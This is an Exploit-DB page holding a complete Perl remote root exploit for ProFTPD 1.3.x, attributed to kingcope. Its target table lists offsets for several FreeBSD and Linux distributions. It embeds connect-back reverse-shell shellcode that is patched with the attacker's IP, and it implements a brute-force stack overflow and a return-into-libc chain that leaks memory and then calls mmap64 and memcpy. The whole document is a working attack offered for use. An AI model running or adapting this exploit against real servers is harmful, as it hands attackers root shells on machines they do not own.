ProFTPd IAC 1.3.x – Remote Command Execution

  • 作者: kingcope
    日期: 2010-11-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15449/
  • # Exploit Title: ProFTPD IAC Remote Root Exploit
    # Date: 7 November 2010
    # Author: Kingcope
    #
    # E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563.
    
    use IO::Socket;
    
    $numtargets = 13;
    
    @targets =
    ( 
     # Plain Stack Smashing
     
     #Confirmed to work
     ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
     	"FreeBSD",	# OPERATING SYSTEM
     	0,			# EXPLOIT STYLE
     	0xbfbfe000,	# OFFSET START
     	0xbfbfff00,	# OFFSET END
     	1029],		# ALIGN
     
     #Confirmed	to work
     ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
     	"FreeBSD",
     	0,
     	0xbfbfe000,
     	0xbfbfff00,
     	1021],
     	
     # Return into Libc
     
     #Confirmed to work
     ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,			# EXPLOIT STYLE
     	0x0804CCD4,	# write(2) offset
     	8189,		# ALIGN
     	0], 		# PADDING
    
     # Confirmed to work
     ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804D23C,
     	4101,
     	0],
     
     #Confirmed to work
     ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,			
     	0x0804C9A4,	
     	8189,
     	0], 		
     #Confirmed to work	
     ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
     	"Linux",
     	1,			
     	0x080532D8,	
     	4101,
     	12],
     	
     ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804C9C4,
     	8189,
     	0],
    
     ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804CAA8,
     	8189,
     	0],
     	
     ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804CBBC,
     	8189,
     	0],
    
     ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804CCBC,
     	8189,
     	0], 
    
     #Confirmed to work
     ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804CCE0,
     	8189,
     	0], 	
    
     ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804CA2C,
     	8189,
     	0], 
    
     #Confirmed to work
     ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
     	"Linux",
     	1,
     	0x0804C290,
     	8189,
     	0],
    	
     	# feel free to add more targets.
    );
    
    #freebsd reverse shell port 45295
    #setup a netcat on this port ^^
    $bsdcbsc =
    		# setreuid
    "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
    		# connect back :>
    		"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
    "\xb3\x01\x53\xb3\x02\x53\x54\xb0".
    "\x61\xcd\x80\x31\xd2\x52\x52\x68".
    "\x41\x41\x41\x41\x66\x68\xb0\xef".
    "\xb7\x02\x66\x53\x89\xe1\xb2\x10".
    "\x52\x51\x50\x52\x89\xc2\x31\xc0".
    "\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80".
    "\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
    "\x80\x31\xc0\x31\xdb\x43\x53\x52".
    "\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
    "\x53\x52\x50\xb0\x5a\xcd\x80\x31".
    "\xc0\x50\x68\x2f\x2f\x73\x68\x68".
    "\x2f\x62\x69\x6e\x89\xe3\x50\x54".
    "\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
    "\xb0\x01\xcd\x80";
    
    #linux reverse shell port 45295 by bighawk
    #setup a netcat on this port ^^
    $lnxcbsc =
    # setreuid
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
    # connect back :>
    "\x6a\x66".
    "\x58".
    "\x6a\x01".
    "\x5b".
    "\x31\xc9".
    "\x51".
    "\x6a\x01".
    "\x6a\x02".
    "\x89\xe1".
    "\xcd\x80".
    "\x68\x7f\x7f\x7f\x7f". # IP
    "\x66\x68\xb0\xef". # PORT
    "\x66\x6a\x02".
    "\x89\xe1".
    "\x6a\x10".
    "\x51".
    "\x50".
    "\x89\xe1".
    "\x89\xc6".
    "\x6a\x03".
    "\x5b".
    "\x6a\x66".
    "\x58".
    "\xcd\x80".
    "\x87\xf3".
    "\x6a\x02".
    "\x59".
    "\xb0\x3f".
    "\xcd\x80".
    "\x49".
    "\x79\xf9".
    "\xb0\x0b".
    "\x31\xd2".
    "\x52".
    "\x68\x2f\x2f\x73\x68".
    "\x68\x2f\x62\x69\x6e".
    "\x89\xe3".
    "\x52".
    "\x53".
    "\x89\xe1".
    "\xcd\x80";
    
    sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
    		printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
    		$ret = pack("V", $counter);
    		$align = $targets[$ttype][5];
    
    		my $sock = IO::Socket::INET->new(PeerAddr => $target,
    			 PeerPort => 21,
     				 Proto=> 'tcp');
    
    		$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;
    
    		$v = <$sock>;
    	
    		print $sock "\x00" x $align . "\xff" . $stack . "\n";
    	
    		close($sock);		
    	}
    }
    
    # Linux technique to retrieve a rootshell (C) kingcope 2010
    #
    # uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
    # only the write(2) plt entry offset is needed for the exploit to work (and of course the
    # align value)
    # once the correct write value is given to the exploit it fetches the memory space of proftpd.
    # with this information the exploit can find function entries and byte values
    # relative to the write(2) address.
    # once the memory is read out the exploit does the following to circumvent linux adress space
    # randomization:
    # 
    # 1.) calculate mmap64() plt entry
    # 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
    # such as pop pop ret instructions
    # 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
    # 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
    # 4.) copy known assembly instructions (which have been found before using the memory read)
    # to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
    # and make use of the memcpy found before
    # 5.) actually jump to the shellcode finder
    # 6.) once the shellcode has been copied to 0x10000100 jump to it
    # 7.) shellcode gets executed and we have our desired root shell.
    
    sub exploit2 {
    	printf("[$target] %s :pP\n", $targets[$ttype][0]);
    	$align = $targets[$ttype][4];
    	$write_offset = $targets[$ttype][3];
    	$padding = $targets[$ttype][5];
    		
    	$|=1;
    	print "align = $align\n";
    	print "Seeking for write(2)..\n";
    	
    	#known good write(2) values
    	#0x0804C290
    	#0x0804A85C
    	#0x0804A234
    	#0x08052830
    	#080532D8 proftpd-basic_1.3.3a-4_i386
    	#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
    	#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!
    
    	printf "Using write offset %08x.\n", $write_offset;
    	$k = $write_offset;
    	$sock = IO::Socket::INET->new(PeerAddr => $target,
    	PeerPort => 21,
     		Proto=> 'tcp');
    
    	$sock->sockopt(SO_LINGER, pack("ii", 1, 0));
    	#$x = <stdin>;
    	$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . 
    			 pack("V", $k).# write
    			 "\xcc\xcc\xcc\xcc".
    			 "\x01\x00\x00\x00".	# fd for write
    			 pack("V", $k). # buffer for write
    			 "\xff\xff\x00\x00";	# length for write
    
    	$v = <$sock>;
    	
    	print $sock "\x00" x $align . "\xff" . $stack . "\n";
    	
    	vec ($rfd, fileno($sock), 1) = 1;
    
    	$timeout = 2;
    if (select ($rfd, undef, undef, $timeout) >= 0
     && vec($rfd, fileno($sock), 1))
    {
     if (read($sock, $buff, 0xffff) == 0xffff) {
    		printf "\nSUCCESS. write(2) is at %08x\n", $k;	
    		close($sock);
    		goto lbl1;
    		}
    }
    
    	close($sock);
    	printf "wrong write(2) offset.\n";
    	exit;
    
    lbl1:
    #	Once we're here chances are good that we get the root shell
    
    	print "Reading memory from server...\n";
    	my $sock = IO::Socket::INET->new(PeerAddr => $target,
    	PeerPort => 21,
     		Proto=> 'tcp');	
    	
    	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
    			 pack("V", $k).# write
    			 "\xcc\xcc\xcc\xcc".
    			 "\x01\x00\x00\x00".	# fd for write
    			 pack("V", $k). # buffer for write
    			 "\xff\xff\x0f\x00";	# length for write
    
    	$v = <$sock>;
    	
    	print $sock "\x00" x $align . "\xff" . $stack . "\n"; 
    	
    	read($sock, $buff, 0xfffff);
    
    	if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {
    		$pop3ret = $k + $v;
    		printf "pop pop pop ret located at %08x\n", $pop3ret;
    	} else {
    		print "Could not find pop pop pop ret\n";
    		exit;
    	}
    	
    	if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {
    		$largepopret = $k + $v;
    		printf "large pop ret located at %08x\n", $largepopret;
    	} else {
    		print "Could not find pop pop pop ret\n";
    		exit;
    	}
    
    	if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {
    		$addr1 = $k+$v+23;
    		
    		$mmap64 = unpack("I", substr($buff, $v+20, 4));
    		$mmap64 = $addr1 - (0xffffffff-$mmap64);
    		printf "mmap64 is located at %08x\n", $mmap64;
    	} else {
    		if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {
    			$addr1 = $k+$v+17;
    		
    			$mmap64 = unpack("I", substr($buff, $v+14, 4));
    			$mmap64 = $addr1 - (0xffffffff-$mmap64);
    			printf "mmap64 is located at %08x\n", $mmap64;
    		} else {
    			print "Could not find mmap64()\n";
    			exit;
    		}
    	}
    	
    		
    		
    		if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {
    			$addr1 = $k+$v+21;
    			$memcpy = unpack("I", substr($buff, $v+18, 4));
    			$memcpy = $addr1 - (0xffffffff-$memcpy);
    			printf "memcpy is located at %08x\n", $memcpy;
    		} else {		
    		
    		if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {
    			$addr1 = $k+$v+21;
    		
    			$memcpy = unpack("I", substr($buff, $v+18, 4));
    			$memcpy = $addr1 - (0xffffffff-$memcpy);
    			printf "memcpy is located at %08x\n", $memcpy;
    		} else {
    		if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {
    			$addr1 = $k+$v+16;
    		
    			$memcpy = unpack("I", substr($buff, $v+13, 4));
    			$memcpy = $addr1 - (0xffffffff-$memcpy);
    			printf "memcpy is located at %08x\n", $memcpy;
    		} else {
    		if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {
    			$addr1 = $k+$v+15;
    		
    			$memcpy = unpack("I", substr($buff, $v+12, 4));
    			$memcpy = $addr1 - (0xffffffff-$memcpy);
    			printf "memcpy is located at %08x\n", $memcpy;
    	
    		}	 else {
    		if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {
    			$addr1 = $k+$v+18;
    			$memcpy = unpack("I", substr($buff, $v+15, 4));
    			$memcpy = $addr1 - (0xffffffff-$memcpy);
    			printf "memcpy is located at %08x\n", $memcpy;
    		} else {
    			
    			print "Could not find memcpy()\n";
    			exit;	
    		}
    		}
    		}
    		}	
    	}
    	
    	if (($v = index $buff, "\xfc\x8b") >= 0) {
    		$byte1 = $k+$v;
    		printf ("byte1: %08x\n", $byte1);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\xf4") >= 0) {
    		$byte2 = $k+$v;
    		printf ("byte2: %08x\n", $byte2);
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\xbf") >= 0) {
    		$byte3 = $k+$v;
    		printf ("byte3: %08x\n", $byte3);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\x00\x01\x00") >= 0) {
    		$byte4 = $k+$v;
    		printf ("byte4: %08x\n", $byte4);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    
    	if (($v = index $buff, "\x10") >= 0) {
    		$byte5 = $k+$v;
    		printf ("byte5: %08x\n", $byte5);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {
    		$byte6 = $k+$v;
    		printf ("byte6: %08x\n", $byte6);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    
    	if (($v = index $buff, "\xf3") >= 0) {
    		$byte7 = $k+$v;
    		printf ("byte7: %08x\n", $byte7);	
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\xA4") >= 0) {
    		$byte8 = $k+$v;
    		printf ("byte8: %08x\n", $byte8);
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    	if (($v = index $buff, "\xeb\xff") >= 0) {
    		$byte9 = $k+$v;
    		printf ("byte9: %08x\n", $byte9);
    	} else {
    		print "Could not find a special byte\n";
    		exit;	
    	}
    	
    # shellcode copy routine:
    #0100740B FC CLD
    #0100740C 8BF4 MOV ESI,ESP
    #0100740E BF 00010010MOV EDI,10000100
    #01007413 B9 00020000MOV ECX,200
    #01007418 F3:A4REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
    #			EB FF 		 JMP +0xFF		
    # FC 8B	
    # F4 BF
    # 00 01 00
    # 10
    # B9 00 02 00 00
    # F3:A4
    # EB FF
    
    # El1Te X-Ploit TechNiqUe (C)
    
    	print "Building exploit buffer\n";
    
    	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
    			 pack("V", $mmap64). # mmap64()
    			 pack("V", $largepopret). # add esp, 20h; pop; pop
    			 "\x00\x00\x00\x10". # mmap start
    			 "\x00\x10\x00\x00". # mmap size
    			 "\x07\x00\x00\x00". # mmap prot
    			 "\x32\x00\x00\x00". # mmap flags
    			 "\xff\xff\xff\xff". # mmap fd
    			 "\x00\x00\x00\x00". # mmap offset
    			 "\x00\x00\x00\x00". # mmap offset			 
    			 "\x00\x00\x00\x00".
    			 "\x00\x00\x00\x00".
    			 "\x00\x00\x00\x00".
    			 "\x00\x00\x00\x00".
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x00\x00\x00\x10". # destination
    			 pack("V", $byte1). # origin
    			 "\x02\x00\x00\x00". # number of bytes to copy
    			 
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x02\x00\x00\x10". # destination
    			 pack("V", $byte2). # origin
    			 "\x01\x00\x00\x00". # number of bytes to copy
    
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x03\x00\x00\x10". # destination
    			 pack("V", $byte3). # origin
    			 "\x01\x00\x00\x00". # number of bytes to copy
    			 			 
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x04\x00\x00\x10". # destination
    			 pack("V", $byte4). # origin
    			 "\x03\x00\x00\x00". # number of bytes to copy
    			 
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x07\x00\x00\x10". # destination
    			 pack("V", $byte5). # origin
    			 "\x01\x00\x00\x00". # number of bytes to copy
    			 
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x08\x00\x00\x10". # destination
    			 pack("V", $byte6). # origin
    			 "\x05\x00\x00\x00". # number of bytes to copy
    
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x0d\x00\x00\x10". # destination
    			 pack("V", $byte7). # origin
    			 "\x01\x00\x00\x00". # number of bytes to copy
    
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x0e\x00\x00\x10". # destination
    			 pack("V", $byte8). # origin
    			 "\x01\x00\x00\x00". # number of bytes to copy
    			 
    			 pack("V", $memcpy). # memcpy()
    			 pack("V", $pop3ret). # pop; pop; pop; retn
    			 "\x0f\x00\x00\x10". # destination
    			 pack("V", $byte9). # origin
    			 "\x02\x00\x00\x00". # number of bytes to copy
    			 
    			 "\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address			 
    
    			 "\x90" x 100 . $shellcode . "\x90" x 10;		
    	
    	print "Sending exploit buffer!\n";
    	
    	my $sock = IO::Socket::INET->new(PeerAddr => $target,
    	PeerPort => 21,
     		Proto=> 'tcp');				 
    	$v = <$sock>;
    
    	print $sock "\x00" x $align . "\xff" . $stack . "\n";
    	
    	print "Check your netcat?\n";
    	
    	while(<$sock>) {
    		print;	
    	}			 
    }
    
    sub usage() {
    	print "written by kingcope\n";
     	print "usage:\n".
     		"proremote.pl <target ip/host> <your ip> <target type>\n\n";
    for ($i=0; $i<$numtargets; $i++) {
    		print "\t[".$i."]\t". $targets[$i][0]. "\r\n";
    }
     		
    	exit;
    }
    
    if ($#ARGV ne 2) { usage; }
    
    $target = $ARGV[0];
    $cbip = $ARGV[1];
    $ttype = $ARGV[2];
    
    $platform = $targets[$ttype][1];
    $style = $targets[$ttype][2];
    
    ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
    
    if ($platform eq "FreeBSD") {
    	$shellcode = $bsdcbsc;
    	substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
    } else { 
    if ($platform eq "Linux") {
    	$shellcode = $lnxcbsc;
    	substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
    } else {
    	print "typo ?\n";
    	exit;
    }}
    
    if ($style eq 0) {
    	exploit1;
    } else {
    	exploit2;	
    }
    
    print "done.\n";
    exit;